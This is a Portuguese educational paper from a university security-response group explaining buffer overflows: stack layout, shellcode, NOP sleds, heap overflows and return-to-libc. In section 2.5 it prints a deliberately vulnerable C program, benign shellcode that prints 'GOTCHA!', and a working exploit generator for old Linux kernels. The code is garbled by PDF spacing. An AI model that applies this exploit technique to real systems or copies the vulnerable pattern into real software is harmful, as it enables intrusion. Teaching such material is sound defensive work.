bufferOverflow - Security Information News

Transcrição

bufferOverflow - Security Information News
Universidade Federal do Rio de Janeiro
Instituto de Matemática
Departamento de Ciência da Computação
Grupo de Resposta a Incidentes de Segurança
Rio de Janeiro, RJ - Brasil
Buffer Overflow
Uma introdução teórica
GRIS-2011-A-001
Raphael Duarte Paiva
Thiago Fonseca Boche(Revisão)
Pedro Philippe Costa Rosanes(Revisão)
A versão mais recente deste documento pode ser obtida na página oficial do GRIS: http:
//www.gris.dcc.ufrj.br.
GRIS - Grupo de Resposta a Incidentes de Segurança
Av. Brigadeiro Trompowski, s/n°
CCMN – Bloco F1 - Decania
Cidade Universitária - Rio de Janeiro/RJ
CEP: 21949-900
Telefone: +55 (21) 2598-9491
Este documento é Copyright©2011 GRIS. Ele pode ser livremente copiado desde que sejam
respeitadas as seguintes condições:
É permitido fazer e distribuir cópias inalteradas deste documento, completo ou em partes,
contanto que esta nota de copyright e distribuição seja mantida em todas as cópias, e que a distribuição não tenha fins comerciais. Se este documento for distribuı́do apenas em parte, instruções
de como obtê-lo por completo devem ser incluı́das. É vedada a distribuição de versões modificadas
deste documento, bem como a comercialização de cópias, sem a permissão expressa do GRIS.
Embora todos os cuidados tenham sido tomados na preparação deste documento, o GRIS não
garante a correção absoluta das informações nele contidas, nem se responsabiliza por eventuais
conseqüências que possam advir do seu uso.
Última atualização em: 6 de setembro de 2011
Sumário
1 Os
1.1
1.2
1.3
1.4
1.5
conceitos básicos
Um breve histórico . . . . . . . . . . . . . . . . . . . . .
Buffer - o que é? . . . . . . . . . . . . . . . . . . . . . .
Overflow . . . . . . . . . . . . . . . . . . . . . . . . . . .
Buffer Overflow - Uma visão geral . . . . . . . . . . . . .
Exploits e tipos de ataques baseados em Buffer Overflow
2 Dissecando
2.1 A estrutura de um programa na memória . .
2.2 Conhecendo melhor a pilha . . . . . . . . . .
2.3 Buffer Overflow - uma visão mais detalhada
2.4 Técnicas e ferramentas de Buffer Overflow .
2.4.1 Stack-based Buffer Overflow . . . . .
2.4.2 A estrutura dos Shellcodes . . . . . .
2.5 Como explorar uma vulnerabilidade . . . . .
2.5.1 Conhecendo melhor a heap . . . . . .
2.5.2 Heap-based Buffer Overflow . . . . .
2.5.3 Return-to-libc Attack . . . . . . . . .
3 Agradecimentos(Raphael Duarte Paiva)
1
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
2
2
2
3
4
5
.
.
.
.
.
.
.
.
.
.
5
5
6
6
7
7
7
8
11
12
13
13
1
1.1
Os conceitos básicos
Um breve histórico
Buffer Overflows foram entendidos por volta de 1972, quando o Computer Security Technology Planning Study (documento de planejamento de estudos da USAF)
definiu a técnica como o seguinte:
“Um código realizando tal função não checa os endereços de fonte e destino apropriadamente, permitindo que partes do monitor sejam superpostas pelo usuário.
Isso pode ser usado para injetar códigos no monitor que irão permitir o usuário a
tomar o controle da máquina.” (Página 61 http://csrc.nist.gov/publications/
history/ande72.pdf).
Hoje em dia, o monitor, poderia ser referido como o kernel.
A documentação mais antiga de Buffer Overflow data de 1988. Foi uma das
muitas vulnerabilidades exploradas pelo Morris worm para se propagar pela internet.
O programa-alvo foi um serviço Unix, chamado finger.
Em 1995, Thomas Lopatic redescobriu sozinho o buffer overflow e publicou seus
achados na lista de emails da Bugtraq. Um ano depois, Elias Levy (Também conhecido como Aleph One), publicou na revista Phrack, o artigo “Smashing the Stack
for Fun and Profit” (Arrasando a Pilha por Diversão e Lucro), uma introdução
passo-a-passo para realizar um stack-based buffer overflow.
Desde então, pelo menos 2 worms exploraram buffer overflows para comprometer
um número grande de sistemas. Em 2001, o Code Red Worm explorou um buffer
overflow no ISS (Internet Information Services) 5.0 da Microsoft e em 2003, o worm
SQL Slammer colocou em risco maquinas rodando o Microsoft SQL Server 2000.
Ainda em 2003, buffer overflows em jogos licenciados para o vı́deo-game Xbox da
Microsoft foram explorados para permitir que softwares não licenciados rodassem no
console sem a necessidade de modificações no hardware, conhecidas por modchips. O
PS2 Independence Exploit também usou um buffer overflow para conseguir o mesmo
efeito para o video-game Playstation 2 da Sony.
1.2
Buffer - o que é?
Em computação, um buffer é uma região temporária da memória onde são guardados dados para serem transportados de um lugar para o outro.
Uma aplicação freqüente de um buffer é quando dados são capturados de um dispositivo de entrada (um teclado ou mouse, por exemplo) e enviados à um dispositivo
de saı́da(monitor, impressora).
Exemplo:
Digamos que o usuário está em uma aplicação de terminal, onde tudo o que ele
digita, é impresso na tela.
2
O processo de imprimir o que o usuário digita, simplificadamente, segue um padrão
parecido
com
o
seguinte:
1. O Usuário aperta uma tecla.
2. Um buffer préviamente programado para tal fim, armazena o
dado vindo da entrada padrão
(o teclado).
3. O dado contido no buffer é então copiado para uma variável
interna do sistema, em seguida,
processado para se tornar legı́vel à saı́da padrão (geralmente usa-se um padrão
de codificação de caracteres, como a tabela ASCII, por exemplo).
4. O dado é então, copiado para
a saı́da padrão e, conseqüentemente, impresso na tela do terminal.
Buffers também são utilizados em aplicações onde a taxa de dados recebidos é
maior do que a taxa em que os dados são processados, como por exemplo em uma fila
de atendimento: Enquanto um banco, por exemplo, tem 5 terminais de atendimento,
pessoas são atendidas em grupos de 5. Caso o número de pessoas a serem atendidas
seja maior que cinco, estas que chegaram por último formam uma fila enquanto
esperam o termino de um atendimento para serem atendidas. A fila funciona como
um buffer, armazenando as pessoas em um lugar próximo de seu destino, enquanto
ainda não podem se locomover até ele.
Em um exemplo muito mais simples, imagine-se em uma sala de aula e que você
deve copiar o conteúdo do quadro para seu caderno. O procedimento para a maioria
das pessoas seria olhar o quadro, memorizar uma parte do conteúdo e escrevê-la
em seu caderno. De fato, sua memória serviu como um buffer entre a entrada de
informações (o quadro) e a saı́da (seu caderno).
Buffers são utilizados tanto em Hardware quanto em Software, porém muito mais
utilizados neste ultimo.
1.3
Overflow
O conceito básico de um overflow é um transbordamento, ou seja, um overflow
ocorre quando o volume de determinado objeto ou substância é maior do que a
capacidade de seu compartimento.
Um rio raso exposto à chuvas fortes aumenta consideravelmente seu volume de
água, podendo levar o nı́vel de água a ser maior que a altura de suas margens,
fazendo-o transbordar. Este fato caracteriza um overflow (transbordamento), o que
leva a água do rio se espalhar por locais onde a mesma não deveria estar naturalmente.
3
Agora que temos consolidados os conceitos de buffer e de overflow, podemos
juntá-los para conhecer o conceito de buffer overflow.
1.4
Buffer Overflow - Uma visão geral
O buffer overflow é um erro de programação que pode resultar em execução errônea de um programa, acesso indevido à áreas de memória, terminação do programa
ou uma possı́vel falha de segurança em um sistema.
Tecnicamente falando, um buffer overflow consiste em um processo de armazenar,
em um buffer de tamanho fixo, dados maiores que o seu tamanho.
Exemplo:
Imagine que um programa declara duas estruturas de dados adjacentes na memória do computador: um vetor de caracteres de 8 bytes, A, e um inteiro de 2 bytes,
B, enche A de zeros e B recebe o número 9, como no seguinte esquema:
Agora imagine o que aconteceria se o programa nos pedisse uma palavra e tentássemos inserir a palavra “excessivo” dentro de A.
A palavra excessivo tem 9 letras, conseqüentemente, 10 caracteres, pois um caractere nulo é concatenado ao final para indicar o fim de uma string (vetor de
caracteres). Separando a palavra em caracteres seria algo como: ’e’, ’x’, ’c’, ’e’, ’s’,
’s’, ’i’, ’v’, ’o’,’\0’, sendo o ’\0’ o caractere nulo, que consiste em um um byte zerado.
Sabendo que cada caractere ocupa um byte, a string A, então, tem apenas 8 bytes,
porém estamos inserindo 10 bytes, que é um tamanho maior do que A comporta.
Como no exemplo do rio transbordando, A vai transbordar, caracterizando um
overflow.
Quando ocorre um overflow, áreas da memória adjacentes à estrutura de dados
a ser preenchida serão ocupados com os dados excedentes. Neste caso, os 8 bytes
de A serão ocupados, e haverão 2 bytes excedentes que serão alocados nos 2 bytes
adjacentes à A, que é onde reside B, portanto, o valor de B será sobrescrito com os
2 bytes que A não suportou, como no seguinte esquema:
B é um inteiro que antes valia 9. Agora, seus 2 bytes estão preenchidos com
os caracteres ’o’ e ’\0’. Em sistemas Little-Endian (sistemas em que o byte menos
significativo é o da esquerda), o valor dos bytes de B seriam os correspondentes
binários à tabela ASCII do caractere nulo (00000000) e do caractere ’o’ (01101111).
Concatenado-os, temos o valor binário de B: 0000000001101111 que equivale ao
decimal 111.
Como o programa em questão tem apenas 10 bytes reservados na memória, se
tentássemos escrever uma palavra maior ainda, os excedentes teriam de ser alocados em áreas de memória não reservadas ao programa, resultando numa falha de
segmentação e, conseqüentemente, a terminação do programa.
As conseqüências do tipo de erro citado no exemplo acima, podem resultar em
um funcionamento errôneo do programa, pois imagine que B fosse uma variável em
4
que seria armazenada a idade do usuário e em seguida feito algum processamento
em cima do dado. Uma idade de 111 anos certamente não levaria à um resultado
esperado. Logicamente, este é um exemplo simples de um buffer overflow. Erros
deste tipo em projetos maiores podem levar à bugs desastrosos, horas de trabalho
perdidas para depuração, além de falhas de segurança que levarão ao surgimento de
exploits podendo causar sérios transtornos à todos que usam o programa.
1.5
Exploits e tipos de ataques baseados em Buffer Overflow
Exploits são pedaços de código, seqüências de comandos, ou até mesmo programas que se aproveitam de vulnerabilidades ou bugs em softwares, visando causar
comportamento errôneo, inesperado ou até mesmo ganhar acesso privilegiado à um
sistema ou causar ataques de negação de serviço (DoS).
A maioria dos Exploits visa ganhar acesso de nı́vel de superusuário à sistemas
ou derrubar os mesmos. Pode-se fazer uso de vários exploits diferentes para galgar
nı́veis de acesso até chegar ao superusuário.
Os tipos mais comuns de ataques baseados em buffer overflow são:
• Stack-based buffer overflow
• Heap-based buffer overflow
• Return-to-libc attack
2
2.1
Dissecando
A estrutura de um programa na memória
Qualquer programa compilado (e isto inclui interpretadores de linguagens) possui
uma forma estruturada em código de máquina denotando uma seqüência de instruções que serão executadas pelo processador. Tal seqüência é carregada na memória
quando um programa é chamado à execução.
A estrutura de um programa na memória se divide em quatro partes: texto,
dados, stack (pilha) e heap.
A região do texto contém as instruções do programa propriamente ditas e dados somente-leitura.
Essa região é geralmente somente-leitura, para evitar
códigos mutáveis. Uma tentativa de escrita nessa área
resulta em uma falha de segmentação.
A região dos dados contém todas as variáveis globais e estáticas do programa.
A região de heap serve para a alocação dinâmica
de variáveis, através de instruções do tipo malloc();
A pilha é a região mais interessante para os fins
deste texto. Trata-se de um bloco de memória onde
são armazenadas informações vitais para subrotinas:
variáveis locais, parâmetros e os valores de retorno.
5
2.2
Conhecendo melhor a pilha
O conceito de pilha é bastante simples. Uma pilha
adota um padrão conhecido como LIFO (Last In First
Out – último a entrar, primeiro a sair).
Imagine uma pilha de pratos que devem ser lavados. A pessoa que lavará os pratos, começará pelo
topo da pilha, que foi o ultimo prato a ser colocado na mesma, porém, será o dado a
entrar, será o primeiro a ser tratado em estruturas organizadas por pilhas (stacks).
Na memória, a pilha consiste de frames que são
colocados no topo quando uma subrotina é chamada
e retirada da pilha no termino da subrotina.
Um frame geralmente guarda os seguintes dados
sobre a subrotina em ordem da base para o topo:
• Espaço para os parâmetros da subrotina;
• O endereço de retorno da subrotina;
• Um valor chamado comumente de Frame Pointer;
• Espaço para variáveis locais.
Definindo o escopo à arquiteturas Intel x86 de 32
bits, quando temos chamadas à subrotinas (funções)
em programas, o processador recebe uma instrução
chamada CALL. Esta instrução armazena no frame da
respectiva subrotina duas informações vitais para o processador: o IP (Instruction
Pointer) e o FP (Frame Pointer), que indicam respectivamente, a posição de memória
para onde o processador deve continuar lendo após o termino da subrotina e um
valor arbitrário para facilitar o trabalho do processador na hora de ler e escrever em
variáveis locais e ler parâmetros.
O FP ajuda o processador de modo que endereços lidos dentro do frame que
possuam um valor maior que o endereço do FP é com certeza um parâmetro e
endereços lidos dentro do frame que possuam um valor menor que o endereço do FP
é uma variável local.
A soma do espaço reservado para o buffer desprotegido com o espaço ocupado
pelo FP é chamado de payload space.
2.3
Buffer Overflow - uma visão mais detalhada
Como vimos, podemos utilizar o buffer overflow para reescrever o IP. Ora, se
o IP está logo após o espaço para as variáveis locais e o FP, o que aconteceria se
ultrapassássemos este espaço?
Assim como no primeiro exemplo de buffer overflow, imagine que temos um
programa que chama uma subrotina para pedir uma string ao usuário. Se soubermos
o tamanho máximo da string e esta fosse a única variável da subrotina, poderı́amos
ultrapassá-lo e reescrever o valor do IP.
6
Digamos que o programa em questão peça o nome de um arquivo em um sistema
Unix. Sabendo que o tamanho máximo do nome de um arquivo em tal sistema é de
256 caracteres, fica fácil arquitetar a reescrita do IP, considerando que o programa
não faz verificação de tamanho de string e que o está rodando num sistema desprotegido, basta escrever 264 caracteres para que o IP receba os últimos 4 bytes da
entrada, ou seja, os quatro últimos caracteres, pois o IP guarda um inteiro de 4 bytes
e cada caractere tem 1 byte (utilizando o sistema ASCII), ora, tenho 8 caracteres
excedentes de 1 byte cada, então o FP terá o valor igual à concatenação dos valores
binários dos 4 primeiros caracteres excedentes e o IP dos 4 últimos.
2.4
Técnicas e ferramentas de Buffer Overflow
Agora que sabemos como alterar o IP, como podemos utilizar isso para fins
maliciosos?
2.4.1
Stack-based Buffer Overflow
Como dito em 2.1, o processador lê uma série de instruções. Tais que são referenciadas por bytes. Com este conhecimento, podemos então ao invés de escrevermos
um nome, poderı́amos enviar um endereço de memória onde um código previamente
inserido possa ser executado.
O código inserido é normalmente chamado de shellcode.
2.4.2
A estrutura dos Shellcodes
Shellcodes são pedaços de código legı́veis ao processador, ou seja, bytes referentes
às instruções. Como geralmente shellcodes são passados como strings, representamos
cada byte por “\xNN”, onde “\” significa que estamos passando um byte (não um
caractere), “x” significa que seu valor está na base hexadecimal e NN é o valor do
byte na base hexadecimal. Vale lembrar que um byte nulo “\x00”, ou simplesmente
“\0” é o caractere terminador de string, então, como o shellcode consiste de uma
string composta por bytes, não podemos ter bytes nulos, pois funções que trabalham
com strings interpretam um byte nulo como o fim da mesma e terminam o seu
processamento. Obviamente, queremos que nossa string maliciosa seja processada
inteira, portanto, um byte nulo é um problema. Além do byte nulo, alguns outros
bytes como linefeed(“\n”, ou “\x0A”), carriage return(“\x0D”), etc. podem nos
causar problemas, como quebrar o shellcode em dois ou mais (linefeed), como se
entrássemos com 2 linhas separadas de shellcode.
Podemos resolver estes problemas de vários modos, dependendo da instrução que
desejamos representar. Torna-se óbvia a necessidade do conhecimento da linguagem
de máquina neste caso.
No caso de querermos construir um shellcode que imite uma função, como System(), que executa o comando de sistema passado por argumento, devemos seguir
os seguintes passos:
• Construir um programa que simplesmente chame a função System(), com o
argumento contendo o comando de sistema que desejamos executar.
7
• Analisar o seu código assembly do programa por meio de um debugger, como
o gdb, por exemplo, conseguindo assim acesso ao código assembly da função
System.
• Pelo próprio gdb, podemos ter acesso aos bytes referentes a cada instrução
pelo comando
Com os bytes em mão, podemos então construir o shellcode, concatenado-os em
uma string, tomando os cuidados e adaptações necessárias para o shellcode não
conter bytes especiais.
Assim, com o shellcode pronto, devemos preparar o buffer malicioso para ser
construı́do.
Este deve conter:
• Dados para encher o buffer até o inı́cio do shellcode
• O shellcode em si.
• O valor para reescrever o IP com o endereço do inı́cio do shellcode
Um problema comum de ataques por buffer overflow baseados na pilha é que
não sabemos exatamente onde é o inı́cio do payload space devido à aleatoriedade dos
dados na memória. Para contornar esse problema é comum termos shellcodes bem
menores que o payload space, e, precedidos de bytes NOP (“\x90”, No Operation), os
quais o processador ignora e pula para a próxima instrução. Deste modo, temos um
espaço maior para erros na hora de presumir o endereço de retorno. Caso o shellcode
não comece no endereço escolhido, o processador encontrará NOPS e ”deslizará”até
o inı́cio do shellcode. Como a diferença na localização geramente é pequena, essa
técnica pode ser usada para tornar o ataque mais confiável.
Sequências muito longas de instruções NOP são facilmente detectadas por sistemas de detecção de intrusão de rede como o Snort. Atacantes mais sofisticados
usam uma sequência de instruções ”normais”, que não sejam o NOP mas que não
interferem na execução do shellcode, como xor eax, eax.
2.5
Como explorar uma vulnerabilidade
Mostrarei a seguir um código que apresenta uma vulnerabilidade que pode ser
explorada usando a técnica de stack-based buffer overflow e NOP-Sled. O erro
cometido nesse código é facilmente percebido: tentamos ler 1024 bytes de um arquivo
em uma variável que só suporta 8. Com certeza causará um buffer overflow.
#include < s t d l i b . h>
#include <s t d i o . h>
int b o f ( ) {
char b u f f e r [ 8 ] ; /∗ b u f f e r de c a r a c t e r e s de 8 b y t e s ∗/
FILE ∗ b a d f i l e ;
/∗ a b r i n d o o a r q u i v o b a d f i l e para l e i t u r a ∗/
b a d f i l e = f o p e n ( ” b a d f i l e ” , ”r ” ) ;
8
/∗ t e n t a n d o l e r 1024 b y t e s e armazenar em
um b u f f e r de 8 . ∗/
f r e a d ( b u f f e r , s i z e o f ( char ) , 1 0 2 4 , b a d f i l e ) ;
return 1 ;
}
int main ( int argc , char ∗∗ argv ) {
bof ( ) ;
/∗ Imprimindo uma mensagem .
Em c a s o de o v e r f l o w , nao s e r a e x i b i d a . ∗/
p r i n t f ( ”Not gonna do i t ! \ n ” ) ;
return 1 ;
}
Agora que identificamos a vulnerabilidade precisamos de uma forma de explorála. Como o programa lê de um arquivo mais bytes do que deve, podemos montar um
arquivo(payload) de forma que ele desvie a execução para o código que queremos
executar(shellcode). Nesse exemplo nosso shellcode só escreve uma frase na tela,
mas a idéia é mostrar que podemos executar um código arbitrário e tentar tomar
controle do sistema. Os trechos de código a seguir montam o arquivo desejado,
vamos analisar ele passo a passo.
#include < s t d l i b . h>
#include <s t d i o . h>
char s h e l l c o d e [ ] =
”\ xeb \ x16 ”
”\ x31 \xdb ”
”\ x31 \ xd2 ”
”\ x31 \ xc0 ”
”\ x59 ”
”\xbb\ x01 \ x00 \ x00 \ x00 ”
”\ xb2 \ x09 ”
”\ xb0 \ x04 ”
”\ xcd \ x80 ”
”\ xb0 \ x01 ”
”\ xcd \ x80 ”
”\ xe8 \ xe5 \ x f f \ x f f \ x f f ”
”GOTCHA! \ n ” ;
/∗
/∗
/∗
/∗
/∗
/∗
/∗
/∗
/∗
/∗
/∗
/∗
jmp s t r i n g ∗/
x o r %EBX, %EBX ∗/
x o r %EDX, %EDX ∗/
x o r %EAX, %EAX ∗/
pop %ECX ∗/
mov $0x1 ,%EBX ∗/
mov $0x9 ,% d l ∗/
mov $0x04 ,% a l ∗/
i n t $0x80 ∗/
mov $0x1 , %a l ∗/
i n t $0x80 ∗/
c a l l code ∗/
Nessa primeira parte fazemos os includes das bibliotecas padrão do C. Logo após
colocamos o nosso shellcode em uma string. O que cada instrução faz e como o
shellcode funciona vão além do nosso escopo nesse artigo, logo, só precisamos saber que esse shellcode imprime a palavra ”GOTCHA!”na tela. Vimos anteriormente
que os shellcodes são dependentes da plataforma em que vão ser executados. Nosso
shellcode por exemplo, foi desenvolvido para a plataforma Linux.
9
#define OFFSET 1500
unsigned long get ESP ( void )
{
a s m ( ”movl %ESP,%EAX” ) ;
}
main ( int argc , char ∗∗ argv )
{
unsigned long addr ;
FILE ∗ b a d f i l e ;
char b u f f e r [ 1 0 2 4 ] ;
addr = get ESP ( ) + OFFSET;
f p r i n t f ( s t d e r r , ”Using O f f s e t : 0x%x\ n S h e l l c o d e S i z e :%d\n ” ,
addr , s i z e o f ( s h e l l c o d e ) ) ;
Agora que temos o nosso shellcode armazenado, precisamos calcular o endereço
em que ele estará na hora da execução do programa alvo, para podermos desviar. A
função get ESP(void) recupera o valor do ESP(Extended Stack Pointer, registrador
que aponta para o topo da pilha) como já era de se esperar. Como o endereço da
pilha não muda1 , podemos usar ele para calcular a posição do shellcode. A pilha
cresce em direção aos endereços menores, logo, adicionamos ao endereço do topo
um offset(deslocamento) de 1500 bytes para irmos em direção a base. Esse valor
é calculado levando em consideração o tamanho das variáveis que estarão na pilha.
Logo em seguida imprimimos o offset e o shellcode que serão usados.
memset ( &b u f f e r , 0 x90 , 1024 ) ;
/∗ armazenando o e n d e r e c o do s h e l l c o d e em l i t t l e −endian ∗/
b u f f e r [ 1 2 ] = addr & 0 x 0 0 0 0 0 0 f f ;
b u f f e r [ 1 3 ] = ( addr & 0 x 0 0 0 0 f f 0 0 ) >> 8 ;
b u f f e r [ 1 4 ] = ( addr & 0 x 0 0 f f 0 0 0 0 ) >> 1 6 ;
b u f f e r [ 1 5 ] = ( addr & 0 x f f 0 0 0 0 0 0 ) >> 2 4 ;
memcpy ( &b u f f e r [ ( s i z e o f ( b u f f e r ) − s i z e o f ( s h e l l c o d e ) ) ] ,
shellcode , sizeof ( shellcode ) ) ;
b a d f i l e = f o p e n ( ” . / b a d f i l e ” , ”w” ) ;
f w r i t e ( buffer , 1024 , 1 , b a d f i l e ) ;
fclose ( badfile );
}
1
Nosso exemplo funciona em linux’s com kernel inferior a 2.4.20, porque a partir dessa versão foi
introduzido um recurso que randomiza a localização da pilha, onde o ESP muda a cada execução
impossibilitando o ataque da forma como está sendo mostrado.
10
O comando memset preenche o nosso buffer com uma sequência de 1024 NOP’s(0x90).
Dessa forma, o buffer vai ficar completamente cheio de NOP’s. Logo em seguida armazenamos o endereço do shellcode nas posições 12 a 15 do buffer. O endereço tem 4
bytes e é colocado de byte em byte no buffer porque o buffer é de char cujo tamanho
é 1 byte. Para fazer isso, fazemos um and bit a bit do byte menos significativo e
armazenamos na posição 12, em seguida fazemos o and com o segundo byte menos
significativo e um shift right(deslocamento para direita) para colocá-lo na parte menos significativa e assim por diante até o quarto byte. Com o comando memcpy,
colocamos o shellcode no fim do buffer. Lembrando que, como o nosso buffer está
cheio de instruções NOP’s, não importa o lugar do buffer para qual a execução vai
ser desviada, ela vai deslizar pelos NOP’s até o shellcode. Depois só precisamos
escrever o buffer no arquivo e fechá-lo.
Agora que já temos o arquivo que explora a falha, basta executar o programa
passando o nosso arquivo. Na figura a seguir está representada a pilha no momento
da execução do programa vulnerável com o nosso arquivo.
Do lado esquerdo temos a pilha antes do buffer overflow ocorrer, onde os registradores salvos(IP, FP) e os argumentos da função estão com seus valores corretos. Do
lado direito o arquivo que criamos anteriormente já foi lido e sobreescreveu todos os
dados adjacentes ao buffer. Ao analisarmos a pilha percebemos que a variável buffer
vai do endereço 0x0F0000 até 0x0F0007 ocupando os 8 bytes declarados. Logo após,
temos o FP que tem 4 bytes, indo do endereço 0x0F0008 até 0x0F000B seguido do
IP que também tem 4 bytes, indo do endereço 0x0F000C até 0x0F000F. Por isso
que ao montarmos o payload, colocamos o endereço do shellcode nas posições 12 à
15 do buffer. Os bytes de 0 até 7 vão ser armazenados na variável buffer, de 8 até
11 vão sobreescrever o FP e de 12 até 15 vão sobreescrever o IP. Logo, quando a
função retornar, a execução será desviada para o shellcode e não para a main.[9]
2.5.1
Conhecendo melhor a heap
Geralmente, a memória dinâmica é alocada de uma grande área de memória livre,
chamada de heap, ou free store. A localização de dados na heap não é prevista pelo
programa, então dados na heap costumam ser acessados indiretamente, por meio
de referências. Quando usamos uma função da famı́lia malloc(), estamos alocando
espaço para uma estrutura de dados na heap e retornando o endereço de memória
em que ela foi alocada. Este endereço é normalmente armazenado em uma variável
que passa a ser a referência àquela estrutura na heap, então qualquer operação de
leitura e escrita é feita através da referência, nunca diretamente.
11
O sistema operacional geralmente dá ao programa, quando este é carregado na
memória, uma heap de um tamanho especı́fico, porém este espaço pode ser modificado em tempo de execução. Geralmente, neste processo, o kernel divide a heap em
setores menores pela memória, resultando em fragmentação e abstraindo esta tarefa
do programador, que por sua vez, não precisa se preocupar com o tamanho do heap.
Arquivos executáveis tanto PE ou PE32 (Windows), quanto ELF ou ELF32
(Linux) possuem o que chamamos de “optional header” que, como o nome diz, é um
cabeçalho opcional que contém informações sobre o quão grande o espaço na heap
é esperado, para uma alocação mais precisa quando o programa é carregado.
É importante ressaltar que o heap cresce na direção oposta da pilha, ou seja, seu
“topo” cresce em direção aos endereços maiores da memória, enquanto a pilha cresce
em direção aos endereços menores da memória.
Além do espaço reservado para as estruturas de dados do programa, um bloco
no heap também guarda valores usados para a sua administração, como tamanho do
bloco, espaço utilizado, próximo bloco e bloco anterior. Os valores armazenados são
dependentes de implementação. Todo run-time environnement possui o seu próprio
modo de administrar a heap, porém, um programa pode definir o seu próprio modo
de administração da heap.
Como o espaço na heap é variável para um programa em execução, não há como
definir limites para este espaço. Então, nem o kernel, nem o processador são capazes
de detectar um overflow na heap.
2.5.2
Heap-based Buffer Overflow
Este é um tipo muito mais difı́cil de ser explorado devido ao fato do alvo ser a
heap. Entre as dificuldades estão:
• Na heap, não existem valores os quais o processador usa para saber qual a
próxima operação a executar, apenas valores de organização do próprio heap.
• Devido ao fato do heap crescer em direção aos valores maiores da memória e
podermos apenas escrever nesta mesma direção, não é possı́vel reescrever os
valores de controle do bloco atual, apenas dos blocos posteriores.
• Como a organização da heap pode variar, o atacante precisa saber qual é a
implementação de heap do programa-alvo.
Para explorar um buffer overflow na heap é necessário encontrar uma vulnerabilidade em alguma função interna de administração da heap, de modo que esta
processe o buffer alvo na heap.
Deste modo:
• Precisamos explorar a heap para sobrescrever os valores de administração de
um bloco alvo e assim inserir o shellcode, construindo um bloco malicioso na
heap.
• Os valores de administração devem ser alterados no bloco de forma que este,
ao ser analisado por uma função, como free(), por exemplo, seja processado,
12
diretamente ou por meio de outra função, como a unlink(), que é chamada
dentro da free(), por exemplo.
• Além de modificados para ativar uma função, os valores de administração
devem ser reescritos para causar um overflow no frame da função que processa
o bloco, para direcionar a execução do programa para o shellcode inserido.
Outro modo de explorar o heap overflow é estourar o heap até chegar na pilha e
então sobrescrever o IP do frame do topo da pilha.
Neste ponto, uma questão importante é conveniente: Por que um shellcode no
heap se precisamos explorar um overflow na pilha também?
A resposta pode variar, porém a mais razoável é a questão do espaço. Funções
podem ser vulneráveis e mesmo assim ter uma quantidade tão pequena de buffers
que não suportaria um shellcode. É razoável, neste caso, inserir o shellcode na heap.
2.5.3
Return-to-libc Attack
Uma das defesas para um ataque de buffer overflow baseado em pilha é não dar
permissão de execução na pilha. Deste modo, não é possı́vel tentar executar um
shellcode na pilha. Existe uma alternativa, que é explorar um código que já existe
nas rotinas do programa. Um código que está em quase qualquer coisa(incluindo
o sistema operacional), são os códigos da libc, a biblioteca padrão do C. Além de
estarem presentes na maioria dos sistemas, eles possuem uma posição estática na
memória em um sistema.
O método para pular para uma função da libc é o mesmo do buffer overflow
baseado em pilha: reescrever o IP com o endereço da função desejada. O endereço
de uma função da libc pode ser facilmente descoberto, em um ambiente sem proteção
de aleatoriedade nos espaços de endereço, usando um programa de teste que imprima
o endereço da função, por exemplo.
Devemos, então, reescrever o IP com o endereço da função desejada, seu endereço
de retorno e então seus argumentos.
3
Agradecimentos(Raphael Duarte Paiva)
O primeiro e mais óbvio agradecimento vai para minha famı́lia, sem a qual não
chegaria onde estou hoje e certamente não estaria realizando este artigo.
Gostaria de agradecer também a todo a equipe GRIS, pelo apoio, camaradagem, ensinamentos, trabalho, compromisso e as muitas risadas que compartilhamos
quando estamos juntos.
Outro agradecimento vai para toda a comunidade online que compartilha conhecimento em ótimas fontes de sabedoria.
Finalmente, um agradecimento especial para o amigo e fundador do GRIS, Breno
G. de Oliveira, por sua disposição em compartilhar seu enorme conhecimento a
qualquer hora e sempre com uma vontade animadora de ajudar.
13
Referências
[1] Smashing The Stack for Fun and Profit - http://insecure.org/stf/
smashstack.html
[2] Buffer Overflow - http://en.wikipedia.org/wiki/Buffer_overflow
[3] Stack buffer overflow - http://en.wikipedia.org/wiki/Stack_buffer_
overflow
[4] Heap Overflow - http://en.wikipedia.org/wiki/Heap_overflow
[5] Return-to-libc attack - http://en.wikipedia.org/wiki/Return-to-libc_
attack
[6] Shellcode - http://en.wikipedia.org/wiki/Shellcode
[7] A
Heap
of
Risk
http://www.heise-online.co.uk/security/
A-Heap-of-Risk--/features/74634
[8] Arc Injection / Return-to-libc - http://www.acm.uiuc.edu/sigmil/talks/
general_exploitation/arc_injection/arc_injection.html
[9] J.C. Foster, V. Osipov, N. Bhalla - Buffer Overflow Attacks: Detect, Exploit,
Prevent.
14